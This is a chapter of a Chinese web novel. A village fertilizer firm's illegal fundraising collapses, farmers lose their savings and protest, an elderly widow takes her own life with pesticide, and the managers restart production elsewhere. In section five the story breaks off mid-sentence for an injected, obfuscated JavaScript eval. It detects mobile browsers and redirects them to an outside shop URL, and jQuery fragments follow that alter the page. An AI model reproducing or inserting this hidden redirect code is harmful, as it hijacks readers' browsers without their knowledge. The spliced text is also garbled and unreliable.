《半生债》下卷第13章·时代的尘埃


    一、秋凉


    那一年的秋天，来得格外早。


    八月十五刚过，天就凉了。风从海上吹过来，带着一股子腥咸的潮气，吹在人身上，黏黏的，腻腻的，让人心里发慌。地里的玉米该收了，可没人去收。村子里的狗也不叫了，趴在门口，耷拉着脑袋，像知道要出什么事似的。


    王霖那几天总觉得心神不宁。说不上来为什么，就是坐不住。实验室里待一会儿，又出来走一走；走一会儿，又回去坐着。齐选东来找他喝酒，他也推了，说不想喝。


    齐选东当时也没多说，只是看了他一眼，说：“王总，有事随时打电话。”


    王霖点点头。


    后来他才明白，那时候齐选东心里已经有事了。那事压在他心上，像一块大石头，沉甸甸的，喘不过气来。


    九月十三号，星期一。


    王霖记得很清楚，那天早上出门的时候，张莉还问他：“晚上回来吃饭不？”他说：“回。”张莉说：“那我做红烧肉。”他笑了笑，说好。


    可那顿红烧肉，他三天后才吃上。


    下午两点多，他正在实验室里配一个新配方，忽然听见外面吵吵嚷嚷的。声音越来越大，越来越近，夹杂着哭声、骂声、砸门声。他放下手里的东西，走出去看。


    厂门口围着一群人，黑压压的，少说也有上百个。男的女的，老的少的，有的手里拿着纸片，有的举着牌子，上面写着“还我血汗钱”“云长肥业骗人”“齐云长不得好死”几个大字。有人哭，有人喊，有人拍打着铁门，铁门被拍得哐哐响。


    门卫老李头挡在门口，急得满头大汗，脸涨得通红，喊得嗓子都哑了：“别敲了别敲了！领导不在！你们敲也没用！”


    那些人哪里肯听，越敲越凶。有年轻点的，已经开始往门上爬。


    王霖走过去，老李头看见他，像见了救星，一把拉住他：“王总！王总！这些人……这些人说是来要钱的！我拦不住啊！”


    一个老太太挤到前面，头发花白，脸上全是皱纹，穿着一件洗得发白的蓝布褂子。她手里攥着一张皱巴巴的纸，颤颤巍巍地举到王霖面前，声音抖得厉害：“你是领导吧？你认识齐云长吧？我那五万块钱，存了三年了，说好的一分利，现在人呢？人呢？”


    王霖接过那张纸看了看，是一张收据，上面印着“云长肥业”的红章，写着“集资款”三个字，金额五万，年息一分二，落款是齐云长的签字。纸已经皱得不成样子，边角都磨破了，可见是被攥在手里攥了多少遍。


    他心里咯噔一下。


    旁边一个大爷也挤上来，瘦得皮包骨头，驼着背，眼睛浑浊，可那眼神里有一种让人不敢看的东西——是绝望，是愤怒，是最后一点希望破灭后的疯狂。他手里也拿着同样的纸，冲着王霖喊：“我十万！我存了两年，说好的一分五！那是给我儿子娶媳妇的钱！现在利息不给，本金也不还，你们这是什么意思？”


    越来越多的人围上来，七嘴八舌地喊着。王霖被围在中间，耳边全是“钱”“利息”“还钱”“齐云长”“骗子”这些字眼，吵得他头疼欲裂。


    他举起手，往下压了压，提高声音说：“大家别急，听我说——”


    可没人听他的。那些人已经红了眼，眼睛里全是血丝，哪里听得进去。有人开始推搡，有人往他身上吐口水，有人哭着喊着往地上跪。


    正闹得不可开交，一辆白色小车开过来，使劲按了按喇叭。人群让开一条缝，高夏从车上跳下来，几步冲到前面，站在王霖身边。


    她大声说：“大家认识我吧？我是高夏，齐云长的外甥女！大家听我说两句！”


    人群安静了一些，可还有人喊：“外甥女？外甥女也跑不了！你们一家子都是骗子！”


    高夏不理那个喊的人，继续大声说：“今天的事，我知道了。大家放心，你们的钱，一分都不会少！但今天厂里领导不在，你们闹也闹不出结果。给我三天时间，三天后，我给大家一个交代！”


    有人喊：“三天？三天你们跑了怎么办？”


    高夏说：“我人在这儿，厂也在这儿，跑不了。三天后，还是这个时间，这个地点，我给大家答复！”


    又有人喊：“凭什么信你？”


    高夏指着自己的脸，说：“我高夏，在这镇上长大的，谁不认识我？我跑得了和尚跑不了庙！三天后，我要是给不出交代，你们怎么处置我都行！”


    人群里议论纷纷。有人信，有人不信，有人犹豫，有人还在骂。可高夏站在那里，腰板挺得直直的，眼睛亮亮的，看着每一个人。那种眼神，不像是在撒谎。


    慢慢地，人群开始散去。走的人边走边回头，像是怕她跑了似的。


    最后剩下几十个，站在门口不肯走。高夏走过去，一个一个劝，一个一个说好话。说了半天，终于都走了。


    厂门口安静下来。


    只有风吹着地上的落叶，沙沙地响。那些落叶被踩得稀烂，贴在地上，像一块一块的伤疤。


    王霖站在那儿，看着高夏。她的脸被太阳晒得有点红，额头上全是汗，头发也乱了，可她的眼睛还是亮的。


    她走过来，站在王霖面前，沉默了一会儿，说：“王总，对不起，给您添麻烦了。”


    王霖说：“怎么回事？”


    高夏没回答，只是说：“王总，您有空吗？我想跟您说点事。”


    二、河边


    高夏的车停在一个偏僻的河边上。


    那是一条小河，离厂区不远，平时很少有人来。河边长满了芦苇，一人多高，风一吹，沙沙地响，像在说悄悄话。河水是浑的，黄绿的，泛着泡沫，有一股说不清的腥臭味。


    高夏坐在驾驶座上，握着方向盘，眼睛看着前面的河面。她沉默了很久，才开口说话。


    “齐云长是我舅舅，亲舅舅。”她说，“我妈就他一个弟弟，从小疼他。他小时候家里穷，我妈省吃俭用供他上学。后来他做肥料生意发了，我妈可高兴了，逢人就说，我弟弟有出息了。”


    王霖听着，没说话。


    高夏继续说：“他这人，有本事，能闯，就是胆子太大。那会儿房地产热，有人拉他去新疆，说那边机会大，地便宜，钱好赚。他动了心，跑去看了几趟，回来就跟我和齐总说，要去新疆闯闯。”


    “齐总劝过他，说新疆那地方水太深，人生地不熟的，容易栽跟头。他不听，说机会不等人，错过了后悔一辈子。他把厂里这些年的积蓄，还有集资的那八千多万，大部分都带走了。”


    “八千多万？”王霖吃了一惊。


    高夏点点头：“八千多万。七百多户人家，多的几十万，少的几千块。都是附近的居民，有的是种地的农民，有的是工厂的工人，有的是做小买卖的。这些人，攒了一辈子，就这点钱。”


    王霖沉默了。


    高夏说：“起初也顺。他打电话回来，说那边市场好，楼盖起来就卖光了。我们听了，也替他高兴。可后来，风声就不对了。先是说房子不好卖了，又说资金周转不开，再后来，电话就少了。打过去，有时通，有时不通。通了也是匆匆几句，说忙，回头再聊。”


    “今年年初，忽然就没消息了。电话打不通，人也找不到，就这么消失了。”


    王霖说：“跑了？”


    高夏沉默了很久，说：“跑了。”


    风吹过芦苇，沙沙地响。几只水鸟从河面上飞过，叫了几声，飞远了。


    高夏说：“其实我们早就知道了。舅舅那边一出事，就有朋友打电话过来。那时候钱已经拿不回来了。”


    王霖说：“那你们怎么不早说？”


    高夏苦笑了一下：“说了也没用。钱没了，人跑了，说什么都是空话。我们只能想办法，先把能保的保住。”


    她说的“我们”，是指她和齐选东。


    那段时间，他们俩夜夜睡不着。八千多万集资款，涉及七百多户人家，都是附近的居民，有的是亲戚，有的是朋友，有的是看着他们长大的长辈。这些人的钱，要是真打了水漂，别说良心过不去，就是命，都可能保不住。


    齐选东那几天瘦了一圈，脸上一点血色都没有。他天天跟高夏商量，怎么办？怎么办？


    最后，他们做了一个决定。


    从公司的经营资金里，悄悄地把亲戚朋友的集资款拿出来。一部分还给了这些人，一部分留在他们自己的账上。


    高夏说：“我知道，这事不地道。可当时那个情况，我们没办法。舅舅跑了，集资户迟早要来闹。要是不留点后手，我们俩也得跟着栽进去。”


    王霖看着她。她的眼睛还是亮的，可那光里，有了一些别的东西。是疲惫，是无奈，也是坚定。


    她说：“那些亲戚朋友，都是看着我们长大的。我们跟他们说，钱先还给你们，但你们得保密。他们都答应了。可这种事，哪能瞒得住？”


    王霖点点头。


    确实瞒不住。一人知道，十人知道；十人知道，百人知道。风声迟早会传出去。


    高夏说：“我们也没想瞒多久。只要熬过最乱的时候，等事情平了，我们再慢慢想办法。”


    王霖说：“现在呢？”


    高夏说：“现在，该来的，都来了。”


    三、农民


    第二天，王霖才知道，昨天来的那些人，只是冰山一角。


    真正的大部队，在后面。


    那是一群真正的农民。


    他们从十里八乡赶来，有的骑着自行车，有的蹬着三轮车，有的坐着拖拉机，有的走着来。天还没亮就出发，走到厂门口的时候，已经快中午了。


    男的，女的，老的，少的。有的背着筐，有的拎着袋子，有的抱着孩子。他们站在厂门口，不说话，就那么站着。黑压压的一片，少说也有三四百人。


    老李头吓坏了，不敢开门，躲在门卫室里打电话。


    王霖赶过去的时候，看见那些人，心里咯噔一下。


    那些脸，他太熟悉了。黝黑的，粗糙的，布满皱纹的。那是被太阳晒过、被风吹过、被日子熬过的脸。是种地的人的脸。


    站在最前面的，是一个五十多岁的汉子。瘦，黑，背微微驼着，穿着一件旧褂子，上面全是补丁。他手里攥着一张纸，攥得紧紧的，手都在抖。


    王霖走过去，问：“大哥，您是……”


    那汉子抬起头，看着他。那双眼睛浑浊，布满了血丝，可那眼神里有一种东西，让王霖不敢直视。


    “我姓张，”他说，“张老憨。龙王庙村的。”


    龙王庙村，王霖知道。那是一个穷村子，在山里头，地少，水缺，种什么都不行。村里的人，都是穷了一辈子的。


    张老憨说：“我存了八万块钱。八万。”


    他的声音很平，平得像在说别人的事。可那平里，有一种让人心里发颤的东西。


    “那是我攒了一辈子的钱。”他说，“我种了三十年的地，一年攒两千，三十年，六万。还有两万，是我闺女在外头打工，寄回来的。她舍不得吃舍不得穿，一年寄回来三千，寄了六年，攒了两万。”


    他顿了顿，又说：“我那闺女，今年二十四了。该嫁人了。我说，等钱攒够了，给她置办点嫁妆，风风光光地嫁出去。她可高兴了，说爹，我不要嫁妆，你把钱留着养老。我说那哪行，闺女出嫁，不能让人笑话。”


    他说着说着，声音开始抖了。


    “现在，没了。全没了。”


    王霖站在那里，一句话也说不出来。


    旁边一个老太太忽然哭起来。她哭得很大声，边哭边喊：“我那三万块钱，是我男人留下的！他死的时候，攥着我的手说，存好，别动，留给孙子娶媳妇。我存了五年，一分钱没动。现在，没了，全没了！”


    她哭着哭着，忽然往地上跪。旁边的人赶紧扶她，她不肯起，跪在地上，冲着厂门口磕头，一下，两下，三下。


    王霖赶紧过去扶她，可她不起来，就那么跪着，哭着，喊着。


    “我那男人，死了十年了！我就这点念想！你们还我！还我！”


    王霖的眼眶热了。


    他不知道该说什么。说什么都没用。钱没了，说什么都是空的。


    那天下午，又来了几批人。一批接一批，没完没了。到了傍晚，厂门口已经围了上千人。


    有人开始砸门。有人往院子里扔石头。有人爬上墙头，想往里翻。老李头吓得躲在门卫室里不敢出来，门卫室的窗户被砸碎了好几块，玻璃碴子落了一地。


    王霖站在院子里，看着那些人。那些黝黑的脸，那些粗糙的手，那些绝望的眼神。他们不是坏人，他们只是被逼到绝路上的普通人。


    他忽然想起一句话：时代的尘埃，落在每个人头上，就是一座山。


    这些农民，他们一辈子老老实实种地，省吃俭用，一分一分地攒钱。他们不懂什么投资，不懂什么风险，他们只相信一件事：把钱存进去，就能生利息，利息攒够了，就能给儿子娶媳妇，给闺女办嫁妆，给自己养老。


    他们有什么错？


    可那座山，就那么落下来了。压在他们头上，压得他们喘不过气来。


    四、自杀


    第三天，出事了。


    有人自杀。


    是个老太太，姓李，六十七岁，独居。老伴走了八年，儿女在外地打工，一年回来一次。她一个人住在三间土坯房里，平时种点菜，养几只鸡，日子过得紧巴巴的。


    她存了四万块钱。那是她一辈子的积蓄，加上老伴留下的抚恤金，还有儿女寄回来的钱。她舍不得花，一分一分攒着，想着以后动不了的时候，有个依靠。


    钱没了之后，她没去闹。她把自己关在家里，三天没出门。邻居觉得不对劲，去敲门，没人应。撞开门进去，发现她躺在炕上，已经没了气。


    旁边放着一个农药瓶子，空的。


    她留了一张纸条，歪歪扭扭的几个字：“对不起，我先走了。”


    消息传出来的时候，整个镇子都炸了。


    那天下午，又来了几百人。这回不一样了，不是来要钱的，是来烧纸的。他们在厂门口点起火，烧纸钱，烧元宝，烧得满天都是灰。有人哭，有人骂，有人跪在地上磕头，磕得额头都破了。


    镇政府的人来了，派出所的人来了，连县里都来了人。他们劝，他们拦，可那些人哪里听得进去。火越烧越大，烟越冒越高，整个厂门口一片乌烟瘴气。


    王霖站在远处，看着那火，看着那烟，心里像压了一块大石头。


    他想起那个老太太。六十七岁，独居，一个人过了八年。她每天种菜，喂鸡，省吃俭用，就为了攒点钱，以后动不了的时候有个依靠。她有什么错？她不过是信了人，把钱存了进去。


    可现在，她死了。


    死在那间土坯房里，身边放着一个空农药瓶子。


    她最后想的是什么？王霖不知道。他只知道，她留下的那张纸条上，写着五个字：“对不起，我先走了。”


    她对谁说对不起？对儿女？对老伴？还是对自己？


    没人知道。


    五、政府


    事情闹大了，政府不能不管。


    县里成立了专案组，镇里成立了协调小组，天天开会，天天研究。他们找齐选东谈话，找高夏谈话，找王霖谈话。他们查封了厂里的账目，冻结了银行账户，把能扣的都扣了。


    可钱呢？钱在哪里？


    齐云长跑了，带走了大头。剩下的那点钱，连利息都不够付的。七百多户人家，八千多万集资款，怎么还？拿什么还？


    专案组的组长姓王，县里来的，四十多岁，瘦瘦的，戴一副眼镜，说话慢条斯理。他找王霖谈话的时候，叹了口气，说：“王总，这事棘手啊。”


    王霖说：“我知道。”


    他说：“这些人，都是农民，攒点钱不容易。现在钱没了，人死了，我们总不能把他们都抓起来吧？抓了有什么用？钱还是要不回来。”


    王霖说：“那怎么办？”


    他沉默了一会儿，说：“只能协调。让齐选东和高夏把能拿出来的钱都拿出来，先还给最困难的那些人。剩下的，慢慢还。一年还不完两年，两年还不完五年。只要有个说法，有个盼头，这些人就不会闹。”


    王霖说：“他们能同意吗？”


    他说：“不同意也得同意。这是唯一的办法。”


    那天晚上，王霖去找齐选东和高夏。


    齐选东瘦了一大圈，脸上一点血色都没有，坐在那儿，像一尊雕塑。高夏也憔悴，眼睛底下全是青的，可她还是强撑着，看着王霖。


    王霖把王组长的话说了一遍。


    齐选东听完，沉默了很久。然后他开口，声音沙哑：“王总，我知道，我们对不起那些人。可是……”


    他顿了顿，说：“我们也有难处。”


    王霖说：“什么难处？”


    齐选东说：“那些亲戚朋友的钱，我们已经还了。剩下的，我们真的拿不出来。公司账上就那点钱，还要发工资，还要买原料，还要维持生产。要是都拿出去还债，厂子就得关门。厂子关了，那些工人怎么办？他们也要吃饭。”


    王霖沉默了。


    高夏在旁边说：“王总，我们不是想赖账。我们是想，先保住厂子，慢慢还。只要厂子在，就有希望。厂子要是关了，那就真的一点希望都没有了。”


    王霖看着他们，心里五味杂陈。


    他知道他们说的有道理


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17259096|197133||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    。可他也知道，那些农民等不起。他们等着钱给儿子娶媳妇，等着钱给闺女办嫁妆，等着钱给自己养老。一天等不了，一个月等不了，一年更等不了。


    可有什么办法呢？


    钱没了，人跑了，剩下的，只有漫长的、痛苦的、看不到头的等待。


    六、交代


    三天后，高夏兑现了她的承诺。


    那天下午，厂门口又围满了人。黑压压的一片，少说也有上千。有人举着牌子，有人拿着纸，有人抱着孩子。他们等着，等着那个交代。


    高夏站在门口，站在那扇被砸得坑坑洼洼的铁门前面。她没有话筒，没有扩音器，就那么站着，看着那些人。


    风很大，把她的头发吹乱了。她用手拢了拢，开口说话。


    “各位乡亲，各位叔叔阿姨，大哥大姐，”她说，“我是高夏，齐云长的外甥女。今天，我来给大家一个交代。”


    人群安静下来。


    她说：“齐云长跑了，带走了大家的钱。这事，我也没想到，我也很难过。可人跑了，钱没了，我们得想办法。”


    有人喊：“想办法？什么办法？你们一家子都是骗子！”


    高夏不理他，继续说：“我和齐总商量了，我们把能拿出来的钱都拿出来。先还给大家一部分。剩下的，我们分期还。一年还不完两年，两年还不完五年。只要厂子在，我们就不会跑。”


    人群里议论纷纷。


    有人喊：“我们凭什么信你？”


    高夏说：“我高夏，在这镇上长大的，谁不认识我？我要是跑了，能跑哪儿去？我爸妈还在这儿，我亲戚朋友还在这儿，我能跑哪儿去？”


    她顿了顿，声音大了起来：“我今天把话撂这儿，大家的钱，我一分都不会少！但大家得给我时间！厂子要是关了，那就真的一点希望都没有了！厂子只要还在，就有希望！”


    人群沉默了。


    过了一会儿，一个老太太走出来。就是那天跪在地上磕头的那个。她走到高夏面前，看着她，说：“闺女，我信你。我那三万块钱，你慢慢还，我不急。我就一个要求，你别跑。”


    高夏看着她，眼眶红了。


    她说：“大娘，我不跑。我要是跑了，我就是狗娘养的。”


    老太太点点头，转过身，走了。


    一个人走了，两个人走了，三个人走了。慢慢的，人群散了。


    高夏站在门口，看着那些人走远。风吹过来，把她的头发吹得更乱了。她没动，就那么站着。


    王霖走过去，站在她旁边。


    高夏忽然说：“王总，我想哭。”


    王霖说：“那就哭吧。”


    她没哭。她只是站在那里，看着那些人消失的方向，看了很久很久。


    七、后手


    那天晚上，高夏和齐选东来找王霖。


    三个人坐在王霖的办公室里，灯关着，只有窗外的月光照进来。齐选东的脸在月光里显得更加苍白，高夏的眼睛还是亮的，可那光里，多了一层说不清的东西。


    齐选东先开口：“王总，我们想跟你商量个事。”


    王霖说：“你说。”


    齐选东说：“这边的情况，你也看见了。厂子虽然还在，可名声坏了，生意也不好做了。集资户天天来闹，工人也人心惶惶。这样下去，撑不了多久。”


    王霖点点头。


    齐选东继续说：“我和高夏商量了，想去别的地方重新开始。租个厂房，另起炉灶。这边的厂，先维持着，慢慢还债。那边的新厂，慢慢做起来。两条腿走路，总比一条腿强。”


    王霖说：“你们想好了？”


    齐选东说：“想好了。可是……”


    他顿了顿，看着王霖：“王总，我们想请你一起干。技术你管，生产我管，销售高夏管。咱们三个，跟这边一样。赚了钱，咱们分。赔了，算我们的。”


    王霖沉默了一会儿。


    他想起了很多事。想起李凯君，想起宋泰生，想起李见俊，想起这些年起起落落的日子。想起那些从不同地方走来的人，那些一起喝过的酒，一起走过的路，一起扛过的事。


    他想起齐选东说过的话：“咱们现在这日子，就是蜜月。”


    蜜月过了，接下来是什么？他不知道。


    可他知道，齐选东和高夏，是值得信任的人。


    他说：“宋泰生那边，李见俊那边，我去说。”


    齐选东眼睛一亮：“王总，你同意了？”


    王霖点点头。


    高夏忽然笑了。那笑容，是她这些天来第一次笑。笑得很轻，很淡，可那笑容里，有光。


    她说：“王总，谢谢你。”


    王霖说：“谢什么？咱们是一伙的。”


    八、新路


    接下来的日子，王霖忙着说服宋泰生和李见俊。


    宋泰生听他说完，沉默了很久，然后说：“王总，你决定了？”


    王霖说：“决定了。”


    宋泰生点点头，说：“那我也没意见。齐选东那个人，我信得过。”


    李见俊那边，费了点周折。他拿着账本看了半天，问东问西，问得王霖都烦了。最后他合上账本，说：“王总，你这个人，心大。可你心大的人，运气都好。行，我同意。”


    王霖说：“那你那些问题？”


    他笑了，说：“问题归问题，同意归同意。两码事。”


    王霖也笑了。


    十月底，齐选东和高夏在邻县租了一个小厂房。地方偏僻，租金便宜，离东海一百多公里。他们悄悄地把设备和原料运过去，悄悄地把工人招齐，悄悄地开始了生产。


    王霖两头跑。这边实验室，那边新厂。有时候一天跑一个来回，早上五点出门，晚上十二点回家。张莉说他：“你这个人，累不累？”


    他说：“累，可心里踏实。”


    高夏在新厂那边，又变回了从前的样子。每天跑来跑去，忙得脚不沾地，可脸上总是笑眯眯的。齐选东瘦了，可精神头比以前还足。他天天守在车间里，盯着生产，盯着质量，盯着每一道工序。


    有一次，王霖去新厂，看见他们俩站在车间门口，对着刚出炉的一批产品笑。那笑容，跟从前一模一样。


    他忽然觉得，也许这就是命。


    一些人走了，一些人来了；一些事结束了，一些事开始了。就像那厂里的机器，永远在转，永远不停。


    齐选东看见他，招手喊：“王总，过来看看！这批货，漂亮！”


    王霖走过去，看着那些产品。在阳光下，它们泛着柔和的光，像一块一块的宝石。


    他笑了。


    九、尘埃


    那年的冬天，来得特别早。


    十一月刚过，就下了一场大雪。雪很大，一夜之间，把整个世界都染白了。树枝压弯了，电线压断了，路上的车都开不动了。


    王霖站在新厂的院子里，看着那些雪。雪花还在飘，一片一片的，落在他的头发上，肩膀上，落在地上，又化了。


    他想起那些农民。那些黝黑的脸，那些粗糙的手，那些绝望的眼神。想起那个自杀的老太太，想起她留下的那张纸条，想起那五个字：对不起，我先走了。


    他不知道，那个老太太，现在在哪儿。是不是还在看着他们，看着这个让她绝望的世界。


    他只知道，活着的人，还得活下去。


    齐选东和高夏，还在还债。一年还不完两年，两年还不完五年。那些农民，还在等。等钱，等希望，等一个交代。


    可他们能等的，也许只是时间。时间长了，痛就淡了；时间长了，人就忘了；时间长了，一切都会过去的。


    这就是现实。


    他站在雪地里，看着那些雪，看了很久。


    雪花落在他的脸上，凉凉的，很快化了，变成水，顺着脸流下来。不知道是雪水，还是别的什么。


    他伸手擦了一下，转身，走进车间里。


    机器还在轰隆隆地响，工人们还在进进出出，高夏还在跑来跑去，齐选东还在盯着生产。


    一切，都在继续。


    就像那雪，落下来，化了；化了，又落下来。


    没完没了。


    可活着的人，还得活着。


    这就够了。


    ---


    谨以此章，献给那些被时代尘埃压垮的人——那些农民，那些攒了一辈子钱最后却一无所有的人，那些在绝望中选择离开的人。也献给那些在尘埃中挣扎着站起来的人——齐选东、高夏，还有所有活着的人。


    时代的尘埃，落在每个人头上，就是一座山。


    可山再高，也得翻过去。


    半生债，一世情。


    活着，就是最好的还债。